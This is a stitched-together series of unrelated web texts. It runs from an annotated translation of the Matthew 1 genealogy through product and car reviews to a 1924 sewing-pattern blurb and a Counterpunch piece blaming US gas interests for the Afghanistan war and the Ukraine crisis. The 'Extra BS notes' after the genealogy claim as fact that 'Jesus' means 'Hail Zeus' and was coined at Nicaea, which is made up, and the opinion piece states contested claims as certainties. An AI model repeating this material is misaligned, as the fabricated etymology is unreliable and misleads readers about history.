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Matthew 1:1-17 The Genealogy of Jesus Christ
Matthew 1:1-17 – The Genealogy of Jesus Christ
Luke 3:23-38
MT1:1 A bible[1] of a genealogy[2] of Jesus[3] Christ,[4] son of David, son of Abraham:[5]
MT1:2 Abraham[6] generated[7] Isaac,[8] Isaac generated Jacob,[9] Jacob generated Judah[10] and his brothers,[11] MT1:3 Judah generated Perez[12] and Zerah[13] by Tamar,[14] Perez generated Hezron,[15] Hezron generated Ram,[16] MT1:4 Ram generated Amminadab,[17] Amminadab generated Nahshon,[18] Nahshon generated Salmon,[19] MT1:5 Salmon generated Boaz[20] by Rahab,[21] Boaz generated Obed[22] by Ruth,[23] Obed generated Jesse,[24] MT1:6 Jesse generated King David.[25] David generated Solomon[26] by Uriah's woman,[27] MT1:7 Solomon generated Rehoboam,[28] Rehoboam generated Abijah,[29] Abijah generated Asa,[30] MT1:8 Asa generated Jehoshaphat,[31] Jehoshaphat generated Jehoram,[32] Jehoram generated Uzziah,[33] MT1:9 Uzziah generated Jotham,[34] Jotham generated Ahaz,[35] Ahaz generated Hezekiah,[36] MT1:10 Hezekiah generated Manasseh,[37] Manasseh generated Amon,[38] Amon generated Josiah,[39] MT1:11 Josiah generated Jeconiah[40] and his brothers upon the Babylonian deportation.[41] MT1:12 After the Babylonian deportation Jeconiah generated Shealtiel,[42] Shealtiel generated Zerubabbel,[43] MT1:13 Zerubabbel generated Abiud,[44] Abiud generated Eliakim,[45] Eliakim generated Azor,[46] MT1:14 Azor generated Zadok,[47] Zadok generated Achim,[48] Achim generated Eliud,[49] MT1:15 Eliud generated Eleazar,[50] Eleazar generated Matthan,[51] Matthan generated Jacob,[52] MT1:16 Jacob generated Joseph[53] Mary's[54] man[55] who generated Jesus,[56] the one called "Christ."[57] MT1:17 Therefore all the generations from Abraham until David[58] were fourteen generations; and from David until the Babylonian deportation[59] were fourteen generations; and from the Babylonian deportation until the Christ[60] were fourteen generations.[61]
[1] Bible: The Greek is BIBLOS. Or, KJV: book; WMS: family tree; KNX: record of ancestry.
[2] Genealogy: The Greek is GENESEOS. Or, generation (KJV).
[3] Jesus: The Greek is IESOU meaning, "Yah Saves." There is no "J" in Greek.
[4] Christ: The Greek is KHRISTOU and means one christened or anointed. A Hebrew bias word would be, Messiah.
[5] Son of David, son of Abraham: The two most important links to his forefathers.
[6] Abraham: One of the most important persons in the Bible; indeed, one of the most important persons in the modern world, adored by Jews, Christians, and Muslims. His name occurs over 290 times. The name is a most common name of males among Jews, Christians, and Muslims. The name means "Father of a Multitude" and first occurs at Genesis 17:5 where his name is changed from "Abram" meaning "Father of Rejoicing" (Father's Joy). The first occurrence of Abram is at Genesis 11:26. This form of the name occurs over 60 times.
[7] Generated: Or, "was the father of"; "fathered." The Greek is EGENNESEN.
[8] Isaac: The name occurs over 140 times with the first occurrence at Genesis 17:19. It is a name given by an angel of Yahweh even as was the name Jesus.
[9] Jacob: The name occurs 400 times and means "Grabbing the Heel" occurring first at Genesis 25:26.
[10] Judah: The name occurs 870 times and means "Praised" occurring first at Genesis 29:35. It is the root of the term "Jew."
[11] Brothers: The foundations of the tribes of Israel. The account is recorded in Genesis 31.
[12] Perez: The name occurs 20 times and means "Perineal Rupture." It occurs first at Genesis 38:29.
[13] Zerah: The name occurs 20 times and means "Shining" or "Rising" occurring first in the above context at Genesis 38:30. Apparently it is a common name as others earlier are so named.
[14] Tamar: One of four women named in the genealogy of Jesus Christ. Her name means "Palm Tree" and occurs 30 times regarding different women, the first at Genesis 38:6.
[15] Hezron: The name means "courtyard" or "settlement" and occurs first at Genesis 46:9 for a total of 20 times.
[16] Ram: His name means "High" (see 1 Chronicles 2:9) and is presented as Arni in Luke's genealogy (Luke 3:33).
[17] Amminadab: The name occurs 16 times and means "Noble" or "Generous" occurring first at Exodus 6:23.
[18] Nahshon: Occurs 13 times beginning at Exodus 6:23 and means "Serpent."
[19] Salmon: The name occurs about 6 times, first at Ruth 4:20.
[20] Boaz: The name occurs 30 times, first at Ruth 2:1, meaning "Strong."
[21] Rahab: Meaning, "Wide" or "Spacious" – the second woman mentioned in the genealogy, a Gentile harlot whose name occurs 19 times, first at Joshua 2:1.
[22] Obed: Meaning "Servant" and occurring first at Ruth 4:17 for a total of 35 times.
[23] Ruth: The name occurs first at Ruth 1:4 for a total of 19 times. A Gentile, the third woman to be mentioned in the genealogy. Her name means "God is King."
[24] Jesse: The name, meaning "Yahweh (causes) forgets," occurs 53 times with the first at Ruth 4:17.
[25] David: A king of Israel. Meaning "Beloved" and occurring over 1200 times, the first at Ruth 4:17.
[26] Solomon: A king of Israel. The name means "Peace" and occurs 320 times with the first at 2 Samuel 5:14.
[27] Uriah's woman: Bathsheba is not mentioned though alluded to. Here Matthew honors the loyal and courageous Gentile soldier. Like other languages the Greek has no word for "wife." It is "woman" and the context determines whether it is a "wife" or a "woman." Uriah's name occurs 30 times with the first occurrence at 2 Samuel 11:3. His name means "Yah is my Light" and is likely his Hebrew name after converting from the Hittites.
[28] Rehoboam: A king of Israel whose name occurs 55 times and means "Widen the People." The first occurrence is 1 Kings 11:43.
[29] Abijah: A king of Judah. The name means "Yah is my Father" and occurs 37 times, the first at 1 Samuel 8:2.
[30] Asa: The third king of Judah. The name occurs 63 times and appears first at 1 Kings 15:8.
[31] Jehoshaphat: A king of Judah. The name occurs 83 times and means "Yahweh is Judge" occurring first at 2 Samuel 8:16. A name associated with the Plains of Megiddo (Armageddon).
[32] Jehoram: A king of Judah. The name means "Yahweh is Exalted" and occurs 83 times, the first at 1 Kings 22:50.
[33] Uzziah: A king of Judah. His name means "My Strength is Yahweh" and occurs 34 times with the first occurrence at 2 Kings 15:13.
[34] Jotham: A king of Judah. His name means "Yah Perfects" and occurs 27 times with the first occurrence at 2 Kings 15:5. There are other men with this name.
[35] Ahaz: A king of Judah. His name means "Yahweh Grasps" and occurs 47 times with the first occurrence at 2 Kings 15:38. The henpecked husband of Jezebel.
[36] Hezekiah: A king of Judah. His name means "Yah Strengthens" and occurs 139 times with the first occurrence at 2 Kings 16:20. A strong associate of Isaiah.
[37] Manasseh: A king of Judah. His name means "Causing Forgetfulness" (It is an ancient name – Genesis 41:51) and occurs 155 times with the first occurrence at 2 Kings 20:21. Manasseh is thought to have martyred Isaiah and yet becomes one of the greatest examples of repentance and forgiveness.
[38] Amon: A king of Judah. His name means "Faithful" and occurs 21 times with the first occurrence at 2 Kings 21:18.
[39] Josiah: A king of Judah. His name means "Yah Heals" and occurs 31 times with the first occurrence at 2 Kings 21:24. Others are so named. Josiah is a good example of a youth dedicated to God with great love for the Word.
[40] Jeconiah: A king of Judah. His names means "Yah Establishes" and occurs 13 times with the first occurrence at 1 Chronicles 3:16.
[41] Babylonian deportation: Thought by some to be around 611-607 BC.
[42] Shealtiel: His name means "Requested of God" and occurs 15 times with the first occurrence at 1 Chronicles 3:17.
[43] Zerubabbel: A governor of Judah upon return from Babylonian captivity around 537 BC. His name means "Seed of Babel" and occurs 28 times with the first occurrence at 1 Chronicles 3:19.
[44] Abiud: His name means "Dignified Father" and only occurs here. Some think this is the same as "Joda" in Luke 3:26, others do not.
[45] Eliakim: His name means "My God Raises" and occurs 15 times with the first occurrence at 2 Kings 18:18.
[46] Azor: From the genealogy of Joseph. From here the records would be based on Matthew's research. His name means "One Offering Help" and only occurs here.
[47] Zadok: An ancestor of Joseph. The name means "Righteous" and belongs to numerous persons in the Bible. The name occurs 56 times
[48] Achim: An ancestor of Joseph. His name means "Yah Establishes." This is the only occurrence of the name.
[49] Eliud: An ancestor of Joseph his name means "God of Dignity." This is the only occurrence of his name.
[50] Eleazar: An ancestor of Joseph. His name means "God Helps" and appears 79 times as the names of other men.
[51] Matthan: The great-grandfather of Joseph. His name only occurs here.
[52] Jacob: The grandfather of Joseph. The name means "Surplantor" and occurs 409 times in the Bible.
[53] Joseph: The foster father of Jesus the Nazarene. His name means "Yah Increases" and occurs 264 times in the Bible. Joseph, husband of Mary, is mentioned 29 times in the Christian Bible. A carpenter by trade, possibly he died in the early life of Jesus.
[54] Mary's: Mary is a form of Miriam meaning "Rebellious." The name Mary occurs 68 times in the Christian Bible. There are six Marys in the Bible. M'Clintock and Strong's Cyclopaedia (1881, Vol. III, p. 774): "In constructing their genealogical tables, it is well known that the Jews reckoned wholly by males, rejecting, where the blood of the grandfather passed to the grandson through a daughter, the name of the daughter herself, and counting that daughter's husband for the son of the maternal grandfather."
[55] Man: The Greek is ANDRA and "husband" is inferred by the context.
[56] Jesus: This is the name given by the angel of Yahweh in Luke's account. The name means "Yah Saves" and occurs 1109 times in the Christian Bible. Jesus is the Latin form of the Greek IESOUS, which corresponds to the Hebrew Yeshua or Yehohshua and means "Yahweh Is Salvation."
[57] Christ: The designation is the Greek KHRISTOS and means one christened or anointed. The title occurs 748 times in the Christian Bible. It occurs most often in the Letter to the Romans.
[58] Abraham until David: Roughly from 2,000 to 1000 BC or about 1,000 years and about 70 years per "generation."
[59] David until the Babylonian deportation: Roughly 500 years or 35 years per generation.
[60] Deportation until the Christ: Roughly about 500 years or 35 years per generation.
[61] Generations: For a total of 42 generations between Abraham and Jesus Christ.
This text of the Gospel of Matthew is a new version, the 21st Century Version of the Christian Scriptures [NCMM], as an additional part of Nazarene Commentary 2000©. This rendering by Mark Heber Miller may be considered a literal version with limited paraphrase.
Extra BS notes
Iesou => Jesus = "Hail Zeus", the name given to the Nazarene Jew at the Council of Nicaea in 325 to come to terms with the three-headed greek-roman gods. Up until about 360, theological debates mainly dealt with the divinity of the son, which had to be the seame one as the son-god of the Romans and the Greeks. The worshipping of that son and the use of the statues in the community should be allowed for all the sorts of worshippers, so that the market vendors could sell their statues at liberty to any worshipper. Jeshua, Joshua (/ˈdʒɒʃuːə/) or Jehoshua (Hebrew: יְהוֹשֻׁעַ Yĕhôshúa or Hebrew: יֵשׁוּעַ Yĕshúa; Aramaic: ܝܫܘܥ Isho; Greek: Ἰησοῦς, Arabic: يوشع بن نون Yūshaʿ ibn Nūn, Turkish: Yuşa) Yeshua (ישוע, with vowel pointing יֵשׁוּעַ – yēšūă' in Hebrew) which means "Jehovah saves/Jehovah is salvation" or "the Help(ipa) from Jehovah" or "From Jehovah comes salvation", for the politicians had to become the second person of their tri-une godhead. The main god Zeus (Ancient Greek: Ζεύς) had to be the "Father of Gods and men" (πατὴρ ἀνδρῶν τε θεῶν τε, patḕr andrōn te theōn te) and as such should be the god of Greeks, Romans and Christians because Jupiter (Latin: Iuppiter; /ˈjʊpɪtɛr/; genitive case: Iovis; /ˈjɔːvɪs/) or Jove is the king of the gods and the god of sky and thunder in myth.
By the time of the 4° Century CE lots of false teachers had managed to introduce the Roman teachings of their gods back into the teachings of their followers. Lots of people found it easier to adapt to the new religion because it had adapted itself to their faith. for them it was than much easier to accept Jesus to be the King of kings, to be the god of light, the god of thunder, the god of miracles, the god of enlightenment, etc.
Preceding articles:
- The Advent of the saviour to Roman oppression
- Story of Jesus' birth begins long before the New Testament
- Nazarene Commentary to Zechariah and Elizabeth
- Nazarene Commentary to An Angel Appearing to a Priest
- Nazarene Commentary to Struck Dumb For Disbelief
- Nazarene Commentary to Elizabeth Pregnant
- Nazarene Commentary Luke 1:46-56 – Mary Magnifies God
- Nazarene Commentary Luke 1:57-66 – Elizabeth Gives Birth To John
- Nazarene Commentary Luke 1:67-80 – Zechariah's Prophecy
- With child and righteousness greater than the law
- Nazarene Commentary Luke 2:1-7 – A Firstborn's Birth In Bethlehem
- Nazarene Commentary Luke 2:8-14 – Angels and Shepherds in the Night
- Nazarene Commentary Luke 2:15-20 – Shepherds Find the Infant Christ
- Nazarene Commentary Luke 2:21-24 – Presenting the Baby to God
- Nazarene Commentary Luke 2:25-35 – Simeon's Blessing and Warning
- Nazarene Commentary Luke 2:36-38 – Anna's Thanks before Those Waiting
- Nazarene Commentary Luke 2:39-40 – The Young Child Grows
- Nazarene Commentary Luke 2:41-50 – Twelve Year Old Jesus in the Temple
Related articles
- 5 Elements of the Christmas Story (virtuousgirls.wordpress.com)
The angel Gabriel arrives to give Mary a special message. His arrival signifies that God is about to do something and do something big! God is a God of action. He is always busy doing good. Even when it seems that God is silent, He is at work behind the scenes.From the end of the Old Testament to the start of the New Testament, 400 years passed during which God did not communicate with His people Israel. It was not because He had forgotten them or abandoned them. They had turned away from Him, but He had not given up on them.
- The Nativity According to Matthew (davidscommonplacebook.wordpress.com)
Remember, though, that Bethlehem was a small village in this time with a likely population of a few hundred. It is doubtful that more than half a dozen children were killed, not enough to make it into any other sources we have for Herod's rule. Herod was certainly ruthless enough to order such a massacre. He had no trouble killing members of his own family if he thought they threatened his rule. In fact, Herod being an Idumean (or Edomite) and not a Jew, was a foreigner and so was as despised by many Judeans as a Roman governor would have been. If he had heard that there was a potential rival to his throne, even a child, that the Jews might rally around, he would have wasted no time in disposing of that rival.
- Don't Be Afraid (josephelonlillie.com)
Joseph was told not to be afraid, not because God was going to take away all the fearful things but because the Messiah was coming into the world…into his family." JE Lillie
- Matthew 1:21-23 (inspirationsbyerika.wordpress.com)
She will give birth to a son, and you are to name Him Jesus, because He will save His people from their sins."
- Will Our Children Have Faith? (mymorningmeditations.com)
It may seem strange to consider Judaism a missionary religion. Yet the Pharisees are described as "compass[ing] sea and land to make one proselyte." (Matthew 23:15) Rabbinic Judaism, the product of these Pharisees, saw in Abraham and Sarah the models for those who converted non-Jews to Judaism, speaking of them as "making souls." (Cf. Gen. 12:5)
There are also plenty of Christians whose children leave the faith. It can be truly said that God has no grandchildren. We each negotiate our own relationship with our Creator, regardless of who our parents are or what they believe and practice.
- Massacre of the Innocents (nation.com.pk)
The Gospel of Matthews narrates the horrific Biblical account of the killing of infants by the then Roman appointed Jewish king of Israel, Herod, at the time of the birth of Jesus. As it turns out, a prophecy in the Old Testament, made by Jeremiah the prophet, spoke of the birth of a new king of Jews (Hazrat Isa A.S.), 'who would be born on the night that a star comes out of Jacob'. When Jewish astrologers of the time, the Magi, informed Herod of the coming of this event, he ordered that every child under the age of two be killed in and around the town of Bethlehem. Herod had hoped that this Massacre of the Innocents would achieve two goals: 1) it would preserve the future reign of Herod's progeny, and 2) it would wipe out the existence, message, and purpose of the promised Messiah. Herod failed in achieving both these objectives. Per the Divine Will, just before the Massacre of Innocents started, Joseph and Mary (Hazrat Maryam A.S.) took the child, and escaped to Egypt. And thus the prophet and his mission were preserved, only to return to Israel ten years later and proclaim the truth of God.
Two thousand years later, five thousand kilometers away from the towns of Jerusalem and Bethlehem, in the Army Public School, Peshawar, another Massacre of the Innocents took place on Tuesday.
- Seeking Good Soil- Dec 22 (boyslumber.wordpress.com)
- Field Notes (whitehousepost.com)
We write to grow beyond ourselves—beyond the confines of our bodies, our minds, our time.
- The Difference Between Grace and Mercy (codybateman.org)
We deserve nothing from God. God does not owe us anything. Anything good that we experience is a result of the grace of God (Ephesians 2:5). Grace is simply defined as unmerited favor. God favors, or gives us good things that we do not deserve and could never earn
- Herod (en.wikipedia.org)


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Product Description
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2002, 2003, 2004
02, 03, 04

subset: commoncrawl


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One of the pleasures of pattern illustrations in old magazines is seeing the accessories that accompany them. I especially enjoyed these 1924 hats and dresses for "Misses age 15 to 20" (and for "smaller women.") Some of the hats are actually illustrations of Butterick patterns. Other hats and accessories seem to be drawn (in both senses) from a selection kept on hand at the Butterick offices.
I'll show most of these outfits in full at the end of this post; first, I'll show the hat details.
As on dress 5141, at the top of this post, the short matching cape on pattern 5070 is optional.
For those who are curious about the dresses, here are some full-length images:


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Inspired by: ezinearticles


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The Plantronics Voyager 520 is the follow up to the very popular Voyager 510 with newer features and better technology. The Voyager 520 is targeted at the user who is looking for supreme comfort and solid sound quality. It maintains professional styling and ease-of-use to provide the user a great Bluetooth headset. How does it perform? Does it measure up to the uber-popular Voyager 510?
Read on for the rest of the review!
Design(opens in new tab)
Let's put it this way. The Voyager 520 isn't the most stunning Bluetooth Headset you've ever seen. There are headsets that are smaller, sleeker, and use better colors. The headset is fairly large because of the locked-in, large ear loop. The front face of the Bluetooth Headset looks overly-complicated, with harsh lines, multiple patterns, and different colors.
Don't get me wrong, the Voyager 520 is most definitely not an ugly headset—it's just not the prettiest one either. The Voyager 520 looks like the Bluetooth Headsets of yore, more professional and business-like than sleek and stylish.
However, styling and design issues aside, I was amazed at how comfortable and light it felt when worn. The large ear loop rotates nearly 360 degrees and is made of a softer, silcone-esque material. It is likely one of the better, more comfortable ear loops on the market. You'll barely notice it hanging on your ear(opens in new tab)
Also, the earbud of the Voyager 520 is unique because it sits soft in your ear canal. As opposed to a lot of classic earbud designs, the Voyager 520's earbud sits naturally in the ear because of its almost funnel like shape. The earbud is the best compromise of in-ear designs and classic ear phone designs.
When you're wearing the Voyager 520, the comfortable ear loop and the even more comfortable ear bud makes the headset essentially unnoticeable. Some headsets may be prettier but few even come close to the superb fit the Voyager 520 offers.
Usability(opens in new tab)
Syncing with the iPhone is a cinch. Plantronics chose to implement a multifunction button that doubles as a volume switch. I found the button to be easy enough to hit but switching the volume up and down proved to be more cumbersome. I accidentally ended a call when trying to turn up the volume.
As I mentioned before, the Voyager 520's fit really stands out. Even after wearing the device for hours, my ears were perfectly fine and I didn't feel the need to remove the device. Typically, my ears need a break when earbuds are lodged in but the unique design of the Voyager 520's earbuds made it a joy to wear.
The incoming sound quality is rock solid. Because of the funnel shape of the ear bud, incoming callers were clear and pronounced. It felt like I was getting the best of both worlds—in-ear sound quality but classic ear phone feel. Also, Plantronics uses AudioIQ to smarten the audio, getting louder in noisier environments and softer in quiet surroundings.
Outgoing sound quality is also good. Though it does pick up some background noise, it wasn't enough to be bothersome to the caller. Callers felt that I sounded clear with no digitization and preferred the headset to many competitors. In quiet environments the headset's performance was simply stellar, callers never even imagined me being on a Bluetooth headset.(opens in new tab)
Talk time is 8 hours, which should be plenty for most users. You're also able to pair to more than one device, which is definitely convenient. Unfortunately, the Voyager 520 uses a proprietary AC adapter.
Final Thoughts(opens in new tab)
The Voyager 520 really surprised me. When I first saw the headset, I was expecting middling performance and an uncomfortable fit. I could not be more wrong. The fit of the Voyager 520 might be best in class—it hangs light on your ear yet sits naturally in the canal. Also, the audio quality ranged from decent in noisy environments to simply superb in quiet surroundings. Though I still have a few quips with the design and styling, honestly, it's closer to being pretty than ugly while still remaining professional. I think the Voyager 520 should be seriously considered by any potential headset user and should be considered a steal for the price!
- Very, very comfortable fit
- Smart Ear Bud Design
- Solid Audio Quality
- Good Battery Life
- Average Styling
- Fairly Large
- Weird Charger
I have this headset and agree it's great. I can't use tradition ear buds (they hurt my ears big time), so I love how this one fits into the ear canal a little. I can wear it for several hours before feeling a little discomfort and since the earpiece sits so light over your ear, I can easily wear sunglasses and the bow doesn't make the ear loop bite into my ear. Sound quality is great. I mostly use it when I'm driving.
I have had this earset since it first came out. At that time I paired it with the original iPhone, and was a bit disappointed with the quality and interferance if the iPhone wasn't within 3 feet and on the same side as the earpiece. But the 3G iPhone changed everything! The audio quality is vastly better, and there are virtually NO interference problems even with the iPhone several feet away and on the opposite side of the body. What had been a like/hate relationship turned into all love. I realized that the issue was the iPhone all along and that the 520 was just waiting to dazzle given the chance. I love it!
I had no success in pairing this headset with my iPhone 2G. It pairs without problems with a Samsung phone and I can confirm that it is very comfortable and has good sound quality (with the Samsung phone).
I tried it with every iPhone FW from 1.01 up to 2.02. No chance. The Iphone bluetooth keeps searching, but can't find any device.
Does someone can give me an advice how to get them paired?
This headset has fast become one of the most popular ones where I work. I sometimes have a little trouble with it because the part that fits a little into your ear canal bothers me after just a bit. But I have very tiny ears.
Everyone else in my office loves it.
Plantronics Voyager 520 Bluetooth Headset" I can not get my IPhone 3G to recognize it. Any advice
I just purchased iPhone 3G and for some reason it does not recignize my Plantronics 520. I went into Settings - General - Bluetooth and turned it ON. Is started searching and never found anything although 520 was sitting next to it and the light on it was blinking blue. Did I miss anything ont he phone or on the headset. I had no problem connceting it to my Windows Mobile phone before that.
Well, nice buddy... Someone will love this article if I tell her about this. She's really interested in this topic. Thanks again...
my iphone 2g does not recognize. and is there a place i can buy just the charger?
Did you ever pair the iPhone 3G to your Pla ntronics Voyager 520? I'm having the same problem. It just keeps searching but no luck on recognizing it. Help me if you can... kind of like the line from a Beattles song.
Did anyone pair the new iPhone 3G to Voyager 520?
same problem here, no way i can pair the 520 with iphone - though it works a charm with my samsung
Same problem i am facing, Plantronics Voyager 520 is not working with Iphone 3G.
If anyone knows any solution to it, please let me know.
was having problems pairing this headset with my 3G phone too after using it on the 1st gen iPhone and found this from Plantronics website (under Product Support - Bluetooth Pairing Guide for the 520).
1. Turn off your headset.
2. Turn on the Bluetooth mode on the iPhone.
3. Press and hold the headset button until you get a flashing blue & red light.
The iPhone should be able to discover it then, and just enter the passcode '0000,' and it should pair. Hope this helps!
Awesome Thanks Liesbeth, It worked for me. I got lucky that i checked this site again after 1 Month.
thank you liesbeth! was googling like made to connect this headset to my iphone 3g with no luck, until I found your post. works like a charm!
Thank You for this wonderful info. I was going bonkers due to I love this headset and phone didn't want to part with either and thanks to you I dont.
hi, this pairs with 3G but just for the phone. But cant enjoy the music. May be i dont know how to set it. Please can anyone help me with this.
Can't pair my Ipod Touch 3G to my Plantronics Voyager 520 - pure FAIL !!!!!
No one has been able to help me with my problem. No one from Plantronics has responded to my post either. Can anyone maybe help me out? Thanks guys.
thanks liesbeth, exactly the info i was looking for!
Thanks Liesbeth earbud now works.
I like the voyager pro plus and 510 models good post - thanks
I'm not able to even get my iphone 3GS to recognize the Voyager 520. Any tips?
I ABSOLUTLY Love the Plantronics 520!! Just having problems pairing with computer and phone at same time... Any help out there?


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Test Drive: All-new 2018 Toyota C-HR
Entry Price: $22,500
Price as Tested: $24,049
We're driving the all-new 2018 Toyota C-HR this week, a sub-compact crossover built to do battle with competitors like Chevy Trax, Ford Eco Sport, Nissan Kicks, Honda HR-V, Hyundai Kona, and Mazda CX-3. This vehicle joined the Toyota family when corporate decided to discontinue sales of its lower priced Scion models and moved this unit over to the Toyota family of vehicles. This move results in many positives and a few negatives when discussing this brand new Toyota crossover.
First the positives, and specifically one big positive: Price.
Scion was noted for its low entry and final retail prices, and the new Toyota C-HR follows suite. Two models are available, starting with the XLE entry model at $22,500 (our tester this week) or the upscale XLE Premium, which adds more amenities and starts at $24,350.
One thing I really liked about the compact C-HR is its handling, as I put over 400 miles on the C-HR during my week long review. Thanks to standard Dunlop 18-inch tires on nice alloy wheels, there wasn't a turn or corner in front of me the little Toyota didn't like. Cruising was comfortable, too, although there is more than the usual road and engine noise common to these lower priced subcompact models. But overall, and thanks to well built underpinnings, lots of safety features and good ABS 4-wheel disc brakes, this little car was much fun to drive.
As for the negatives, it pretty much surrounds the infotainment system, or lack thereof. Specifically, Toyota previously used the same lower grade stereo/info 6-speaker system on its Scion models. Simply stated, "lower grade" means consumers seeking a new C-HR with navigation, Android Auto and Apple CarPlay are out of luck. Although most everyone knows a Google Maps app on your Android or iPhone will fill in for the navigation needs, if you must have Android or Apple Smartphone integration and you happen to be part of the main target consumer demographic group (millennials), you'll need to upgrade to a Rav4, which starts at $24,500. I recommend Toyota bring over its respected Entune Infotainment system to replace the dated Scion info system.
Sans the modern Entune and Android/Apple drawbacks, the new C-HR is a pretty nice looking vehicle. The actual nomenclature stands for "Coupe High Rider," which is somewhat similar to Chevrolet's HHR, which stood for "High Heritage Roof." The C-HR "coupe" design 4-door layout is both sporty and "high," as the ground clearance is generous while the overall motif is somewhat like a coupe thanks to the rear door handles hidden high into the rear door roof area. You really have to look closely to see them, so Toyota passes the "coupe" look test with flying colors.
Delving more into the mechanicals finds an all-new 2.0-liter inline 4-cylinder sitting under the hood that delivers 144 horsepower and 139 lb.-ft. of torque. This engine mates to a CVT automatic which could use perhaps an upgrade in the years to come. As this is the only drivetrain combo available, you're either going to accept it or look elsewhere for your next car. For me, I got used to the CVT and its "Sport/Normal/Eco" mode selects, but I'd sure like to see a 6-speed manual or even a 4-speed automatic behind this engine for more peppy results. As for acceleration expect zero to 60 mph in about 10.5 to 11 seconds, which is nothing to write home about. Fuel mileage, however, delivers EPA estimates of 27 city and 31 highway, both very competitive in this growing subcompact crossover division.
Now for more "really good" news on this all-new Toyota.
C-HR XLE comes packed with standard fare safety features, meaning you don't need to spend a few thousand more on the XLE Premium model to receive the topmost protection features. Toyota's standard Safety Sense package delivers pre-collision and pedestrian detection, 10 airbags, lane departure warning, lane keep assistance, daytime running lamps, automatic high beams and automatic emergency braking. The C-HR also receives adaptive cruise control and the now expected rear safety camera as standard, although the backup view is in the rear view mirror instead of the 7-inch display screen. (Again, bring on the Toyota Entune System.)
More standard fare includes dual-zone air conditioning, Bluetooth, leather steering wheel, nice bucket seats and a cargo cover. Our tester came in at a final retail of just $24,049 when adding special color paint for $395, carpeted floor mats for $195 and delivery of $960, solidifying that the new C-HR offers a great value for a Toyota compact crossover. If you opt for the XLE Premium, you'll receive upgraded seats, fog lamps, blind spot warning, heated front seats and push button start.
Important numbers include a wheelbase of 103.9 inches, 3,300-pound curb weight, 17.1-ft. turning radius, 5.9-inch ground clearance, from 19.0 to 36.4-cu. ft. of cargo space and a 13.2 gallon fuel tank.
The 2018 Toyota C-HR currently comes solely as a front-drive unit, although in the future an AWD would be a smart move and maybe even a turbo for more power. Your Toyota dealer is waiting to explain everything in person when you visit the showroom.
Likes: Excellent value, lots of safety equipment, good looks.
Dislikes: No Smartphone integration, noisy, needs more power.
Next week: 2018 Mitsubishi Outlander Sport
— Greg Zyla writes weekly for More Content Now and other Gatehouse Media publications.


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11 July 2014 — Counterpunch
"The unipolar world model has failed. People everywhere have shown their desire to choose their own destiny, preserve their own cultural identity, and oppose the West's attempts at military, financial, political and ideological domination." – Vladimir Putin
"While the human politics of the crisis in Ukraine garner all the headlines, it is the gas politics that in many ways lies at the heart of the conflict." – Eric Draitser, Waging war against Russia, one pipeline at a time, RT
What does a pipeline in Afghanistan have to do with the crisis in Ukraine?
Everything. It reveals the commercial interests that drive US policy. Just as the War in Afghanistan was largely fought to facilitate the transfer of natural gas from Turkmenistan to the Arabian Sea, so too, Washington engineered the bloody coup in Kiev to cut off energy supplies from Russia to Europe to facilitate the US pivot to Asia.
This is why policymakers in Washington are reasonably satisfied with the outcome of the war in Afghanistan despite the fact that none of the stated goals were achieved. Afghanistan is not a functioning democracy with a strong central government, drug trafficking has not been eradicated, women haven't been liberated, and the infrastructure and school systems are worse than they were before the war. By every objective standard the war was a failure. But, of course, the stated goals were just public relations blather anyway. They don't mean anything. What matters is gas, namely the vast untapped reserves in Turkmenistan that could be extracted by privately-owned US corporations who would use their authority to control the growth of US competitors or would-be rivals like China. That's what the war was all about. The gas is going to be transported via a pipeline from Turkmenistan, across Afghanistan, Pakistan and India to the Arabian sea, eschewing Russian and Iranian territory. The completion of the so called TAPI pipeline will undermine the development of an Iranian pipeline, thus sabotaging the efforts of a US adversary.
The TAPI pipeline illustrates how Washington is aggressively securing the assets it needs to maintain its dominance for the foreseeable future. Now, check this out from The Express Tribune, July 5:
"Officials of Pakistan, India, Afghanistan and Turkmenistan are set to meet in Ashgabat next week to push ahead with a planned transnational gas pipeline connecting the four countries and reach a settlement on the award of the multi-billion-dollar project to US companies.
"The US is pushing the four countries to grant the lucrative pipeline contract to its energy giants. Two US firms – Chevron and ExxonMobil – are in the race to become consortium leaders, win the project and finance the laying of the pipeline," a senior government official said while talking to The Express Tribune.
Washington has been lobbying for the gas supply project, called Turkmenistan, Afghanistan, Pakistan and India (Tapi) pipeline, terming it an ideal scheme to tackle energy shortages in Pakistan. On the other side, it pressed Islamabad to shelve the Iran-Pakistan gas pipeline because of a nuclear standoff with Tehran…
According to officials, Petroleum and Natural Resources Minister Shahid Khaqan Abbasi will lead a delegation at the meeting of the TAPI pipeline steering committee on July 8 in Ashgabat.
…At present, bid documents are being prepared in consultation with the Asian Development Bank, which is playing the role of transaction adviser. The documents will be given to the two companies only for taking part in the tender.
Chevron is lobbying in India, Pakistan and Afghanistan to clinch a deal, backed by the US State Department. However, other companies could also become part of the consortium that will be led either by Chevron or ExxonMobil." (TAPI pipeline: Officials to finalise contract award in Ashgabat next week, The Express Tribune)
So the pipeline plan is finally moving forward and, as the article notes, "The documents will be given to the two companies only for taking part in the tender."
Nice, eh? So the State Department applies a little muscle and "Voila", Chevron and Exxon clinch the deal. How's that for a free market?
And who do you think is going to protect that 1,000 mile stretch of pipeline through hostile Taliban-controlled Afghanistan?
Why US troops, of course, which is why US military bases are conveniently located up an down the pipeline route. Coincidence?
Not on your life. Operation "Enduring Freedom" is a bigger hoax than the threadbare war on terror.
So let's not kid ourselves. The war had nothing to do with liberating women or bringing democracy to the unwashed masses. It was all about power politics and geostrategic maneuvering; stealing resources, trouncing potential rivals, and beefing up profits for the voracious oil giants. Who doesn't know that already? Here's more background from the Wall Street Journal:
"Earlier this month, President Obama sent a letter to (Turkmenistan) President Berdimuhamedow emphasizing a common interest in helping develop Afghanistan and expressing Mr. Obama's support for TAPI and his desire for a major U.S. firm to construct it.
…Progress on TAPI will also jump-start many of the other trans-Afghan transport projects—including roads and railroads — that are at the heart of America's "New Silk Road Strategy" for the Afghan economy.
The White House should understand that if TAPI isn't built, neither U.S. nor U.N. sanctions will prevent Pakistan from building a pipeline from Iran." (The Pipeline That Could Keep the Peace in Afghanistan, Wall Street Journal)
Can you see what's going on? Afghanistan, which is central to Washington's pivot strategy, is going to be used for military bases, resource extraction and transportation. That's it. There's not going to be any reconstruction or nation building. The US doesn't do that anymore. This is the stripped-down, no-frills, 21st century imperialism. "No nation for you, buddy. Just give us your gas and off we'll go." That's how the system works now. It's alot like Iraq –the biggest hellhole on earth–where "oil production has surged to its highest level in over 30 years". (according to the Wall Street Journal) And who's raking in the profits on that oil windfall?
